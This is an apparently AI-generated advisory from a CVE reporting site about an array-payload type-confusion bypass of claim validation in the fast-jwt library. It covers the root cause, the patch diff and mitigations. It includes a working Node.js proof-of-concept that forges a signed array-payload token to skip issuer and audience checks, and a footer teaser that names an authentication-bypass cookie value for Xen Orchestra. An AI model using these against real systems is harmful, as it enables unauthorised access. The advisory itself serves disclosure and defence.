CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107723

CVE-2026-107723: Silent Claim-Validator Bypass in NearForm fast-jwt via Array Payload Type Confusion

Alon Barad
Alon Barad
Software Engineer

Oct 9, 2026·6 min read·21 visits

Executive Summary (TL;DR)

A type-confusion vulnerability in fast-jwt prior to 6.3.0 allows validly signed tokens structured as JSON arrays to completely bypass claim validations such as expiration (exp) and issuer (iss) verification.

A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.

Vulnerability Overview

The fast-jwt library is an optimized, high-performance JSON Web Token (JWT) implementation developed by NearForm for the Node.js ecosystem. In production environments, systems leverage this library to handle high-throughput authentication and authorization processes. Because token validation is the primary barrier protecting restricted backend services, any flaw in the verification logic exposes the entire application context to unauthorized access.

The vulnerability, designated as CVE-2026-107723, represents a severe flaw categorized under CWE-1287 (Improper Validation of Specified Type of Input). Specifically, the library's decoder fails to enforce that a JWT payload must be a JSON object, accepting JSON arrays instead. This structural discrepancy introduces type confusion downstream during the security verification phase.

When an attacker provides a validly signed JWT with an array payload, the token successfully passes signature verification. However, the system silently bypasses all subsequent safety checks, including expiration, issuer, and audience validations. Consequently, the application processes the unvalidated payload as authenticated, leading to complete security control bypasses.

Technical Root Cause & JavaScript Type Quirks

The underlying flaw stems from a fundamental quirk in JavaScript's type evaluation model combined with a structural standard mismatch. RFC 7519 explicitly mandates that the JWT Claims Set must be a JSON object. However, JavaScript’s typeof operator evaluates arrays as objects, meaning that typeof [] evaluates to 'object'. Because the initial parser did not explicitly reject array-shaped payloads, they successfully satisfied the type check and advanced into the verification lifecycle.

Once the array payload enters the verifier module, the claim validation loop begins evaluating standard configuration limits. The verifier checks whether specific claims exist in the payload using the JavaScript in operator. While this operator checks for keys inside standard objects, its behavior on arrays is fundamentally different.

When executed against an array, the in operator checks if the specified string matches either a numeric index or a built-in array property. Because security claims such as 'exp', 'nbf', 'iss', or 'aud' are strings and do not map to numeric indexes, expressions like 'exp' in payload consistently evaluate to false. The validation loop interprets this false result as the absence of the claim, causing the library to silently skip the security check and successfully approve the token.

Code Path and Patch Analysis

To understand the vulnerability, it is necessary to examine the original implementation of the validation logic within the parser module. In vulnerable versions of fast-jwt, the validation statement was designed to reject non-object payloads. However, due to the type evaluation quirk, the validation successfully executed without raising an error when a JSON array was submitted.

// Vulnerable code in src/decoder.js
if (!payload || typeof payload !== 'object') {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

The official security patch introduced in commit 86e83efd8b5244f50859532d99244f0a9a9a4368 resolves this logic gap by appending an explicit check for arrays. By combining the typeof check with Array.isArray(), the library safely blocks arrays from entering the verifier stage.

// Patched code in src/decoder.js
if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

This explicit check ensures that array-shaped structures are safely rejected during the decoding stage before any signature or claim verification takes place. This modification restricts the allowed payloads strictly to valid JSON objects, aligning the library with the specifications of RFC 7519.

Exploitation Methodology & Proof of Concept

Exploiting this vulnerability requires that an attacker present a validly signed token containing a JSON array payload. In typical environments, an attacker might obtain this by exploiting an endpoint that signs user-controlled JSON or by leveraging key-compromise or algorithm-confusion scenarios. For instance, if symmetric validation is incorrectly enabled alongside asymmetric public keys, an attacker can sign the token locally using the server's public key.

The attacker structures the JWT Claims Set as a serialized JSON array instead of a JSON object. This array is then encoded using standard Base64url and appended with a signature generated via the appropriate cryptographic algorithm. When the target server receives this token, the fast-jwt library successfully verifies the signature but silently ignores all security-critical checks like expiration dates.

A functional proof-of-concept script illustrates how a forged array-payload token successfully bypasses verification configured with strict issuer and audience controls:

const { createHmac } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
 
function forgeArrayPayloadToken(key, payload = ['attacker', 'role:admin']) {
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
  const encodedPayload = Buffer.from(JSON.stringify(payload)).toString('base64url');
  const signingInput = `${header}.${encodedPayload}`;
  const signature = createHmac('sha256', key).update(signingInput).digest('base64url');
  return `${signingInput}.${signature}`;
}
 
const key = 'shared-secret';
const forgedToken = forgeArrayPayloadToken(key);
 
const verifier = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience']
});
 
try {
  const decoded = verifier(forgedToken);
  console.log('Bypass Success:', decoded);
} catch (err) {
  console.log('Rejected:', err.message);
}

Remediation and Mitigation Strategies

The primary remediation step is to upgrade the fast-jwt dependency to version 6.3.0 or higher, which completely resolves the type-confusion flaw. If upgrading immediately is not possible due to dependency constraints or system freeze policies, a viable workaround is available within the library's existing API configuration.

Developers can mitigate this bypass by specifying the requiredClaims option within the createVerifier parameters. Specifying parameters such as requiredClaims: ['exp', 'iss'] forces the validation engine to explicitly assert the existence and structural validity of these keys. When an array-shaped payload is passed, the verification logic will fail the assertion and throw an error, preventing the silent bypass.

Additionally, organizations can implement a layer of defense-in-depth by employing a Web Application Firewall (WAF) rule to intercept and block array-payload JWTs. A standard JWT payload begins with a JSON object, which serializes in Base64url as ey. Conversely, a JSON array payload serializes with the starting characters Wy. A regular expression can detect and drop these invalid structures at the network perimeter.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Affected Systems

Applications utilizing fast-jwt library versions prior to 6.3.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
fast-jwt
NearForm
< 6.3.06.3.0
AttributeDetail
CWE IDCWE-1287: Improper Validation of Specified Type of Input
Attack VectorNetwork (AV:N)
CVSS Base Score8.1
Exploit StatusProof of Concept available
CISA KEV StatusNot listed
Remediation StatusPatched in v6.3.0

MITRE ATT&CK Mapping

T1556Modify Authentication Process
Credential Access
T1211Exploitation for Defense Evasion
Defense Evasion
CWE-1287
Improper Validation of Specified Type of Input

The software receives input that is expected to be of a specific type, but it does not validate or incorrectly validates that the input is of that type.

References & Sources

  • [1]GHSA-5hjw-83fp-phq9: Claim validation bypass
  • [2]PR #639: Fix array payload check
  • [3]fast-jwt v6.3.0 Release Notes
  • [4]NVD CVE-2026-107723 Details
  • [5]CVE-2026-107723 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-133469
9.8

CVE-2026-133469: Unauthenticated Authentication Bypass via Empty-Object Login Token in Vates Xen Orchestra

CVE-2026-133469 is an improper authentication and input type validation vulnerability in the xo-server component of Vates Xen Orchestra and Xen Orchestra Appliance (XOA). Due to Express cookie-parser JSON deserialization combined with loose truthiness validation and unvalidated Redis query construction, an unauthenticated attacker can supply an empty JSON object cookie (authenticationToken=j:{}) to bypass authentication and hijack the first valid active session token stored in the database. This flaw is actively exploited in the wild to gain administrative control over Xen Orchestra deployments and execute root-level commands on underlying XCP-ng and XenServer hypervisors.

Alon Barad
Alon Barad
4 views•12 min read
•about 3 hours ago•CVE-2026-22816
7.4

CVE-2026-22816: Improper Repository Failure Handling and Dependency Confusion in Gradle

CVE-2026-22816 (GHSA-w78c-w6vf-rw82) is a high-severity flaw in Gradle's dependency resolution engine affecting versions prior to 8.14.4 and versions 9.0.0 through 9.2.1. Due to improper error handling when transient network errors or connection failures exhaust their retry limits, Gradle fails to mark unreachable repositories as disabled and does not abort the resolution queue. Instead, it silently falls through to subsequent repositories configured in the build script. This behavior enables dependency confusion and supply chain attacks when an internal or primary repository experiences connectivity issues, unresolvable DNS, or domain registration lapses.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-22865
7.4

CVE-2026-22865: Dependency Resolution Fallback to Untrusted Repositories in Gradle

Gradle versions prior to 8.14.4 and 9.3.0 fail to classify certain fatal network transport exceptions, such as UnknownHostException and NoHttpResponseException, as critical failures during dependency resolution. When these exceptions occur and retry thresholds are exhausted, Gradle fails to disable the unreachable primary repository and instead falls through to subsequent repositories configured in the build script. An attacker capable of disrupting connectivity to an upstream repository can force the build tool to fetch malicious artifacts with matching coordinates from a downstream, untrusted repository.

Alon Barad
Alon Barad
2 views•10 min read
•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
13 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
16 views•12 min read
•3 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read